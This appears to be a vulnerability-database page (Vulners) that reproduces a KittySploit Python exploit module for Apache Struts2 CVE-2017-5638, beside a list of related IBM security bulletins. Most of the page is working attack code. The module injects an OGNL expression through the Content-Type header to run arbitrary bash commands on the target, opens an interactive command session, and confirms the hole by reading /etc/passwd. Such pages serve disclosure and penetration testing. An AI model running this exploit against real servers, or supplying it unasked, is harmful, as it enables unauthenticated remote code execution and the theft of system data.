Lucene search
+L

Apache Struts2 Content-Type OGNL RCE (CVE-2017-5638)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Unauthenticated RCE in Apache Struts2 via OGNL injection in the Content-Type header.

Related
Refs
Code
ReporterTitlePublishedViews
Family
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Struts 2 affects IBM Platform Symphony and IBM Spectrum Symphony (CVE-2017-5638)
18 Jun 201801:35
–ibm
ibm
IBM Security Bulletins
Security Bulletin:Vulnerability in Apache Struts affects Storwize V7000 Unified (CVE-2017-5638)
18 Jun 201800:34
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Apache Struts v2 Jakarta Multipart parser code execution affects IBM Platform Cluster Manager Standard Edition, IBM Platform Cluster Manager Advanced Edition, Platform HPC, and Spectrum Cluster Foundation (CVE-2017-5638)
18 Jun 201801:35
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Struts affects IBM Social Media Analytics (CVE-2017-5638)
15 Jun 201822:50
–ibm
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem model V840
18 Jun 201800:32
–ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM Sterling Order Management is affected by a vulnerability (CVE-2017-5638)
16 Jun 201820:09
–ibm
ibm
IBM Security Bulletins
WebSphere Application Server and IBM HTTP Server Security Bulletin List
13 Jul 202218:04
–ibm
ibm
IBM Security Bulletins
Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem models 840 and 900
18 Feb 202301:45
–ibm
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Struts affects SAN Volume Controller, Storwize family and FlashSystem V9000 products (CVE-2017-5638)
29 Mar 202301:48
–ibm
ibm
IBM Security Bulletins
Security Bulletin: IBM OpenPages GRC Platform Web Applications are not vulnerable to (CVE-2017-5638)
15 Jun 201822:49
–ibm
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Struts2 Jakarta multipart OGNL RCE (CVE-2017-5638)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Apache Struts2 Content-Type OGNL RCE (CVE-2017-5638)',
        'description': (
            'Exploits CVE-2017-5638 in Apache Struts 2.3.x/2.5.x via OGNL injection in the '
            'Content-Type header (Jakarta multipart parser). Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2017-5638'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2017-5638',
            'https://github.com/mazen160/struts-pwn',
        ],
        'tags': ['struts', 'apache', 'ognl', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2017_5638_detect'],
            },
        },
    }

    target_path = OptString('/', 'HTTP path to trigger Struts action', required=False)

    def _ognl_payload(self, cmd: str) -> str:
        safe = str(cmd).replace('"', '\\"')
        return (
            '%{(#test=\'multipart/form-data\').'
            '(#[email protected]@DEFAULT_MEMBER_ACCESS).'
            '(#[email protected]@DEFAULT_MEMBER_ACCESS,'
            f'#cmd="{safe}",'
            '#cmds={"/bin/bash","-c",#cmd},'
            '#p=new java.lang.ProcessBuilder(#cmds),'
            '#p.redirectErrorStream(true),'
            '#process=#p.start(),'
            '#b=#process.getInputStream(),'
            '#c=new java.io.InputStreamReader(#b),'
            '#d=new java.io.BufferedReader(#c),'
            '#e=new char[50000],'
            '#d.read(#e),'
            '#[email protected]@getResponse().getWriter(),'
            '#rw.println(#e),'
            '#rw.flush())}'
        )

    def execute(self, cmd: str) -> str:
        path = str(self.target_path or '/').strip() or '/'
        r = self.http_request(
            method='GET',
            path=path,
            allow_redirects=False,
            headers={'Content-Type': self._ognl_payload(cmd)},
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('cat /etc/passwd')
        if re.search(r'root:.*:0:0:', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2017-5638 confirmed via /etc/passwd in OGNL response',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'No command output in response', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.7High risk
Vulners AI Score8.7
CVSS 3.19.8
CVSS 210
EPSS0.99999
SSVC
2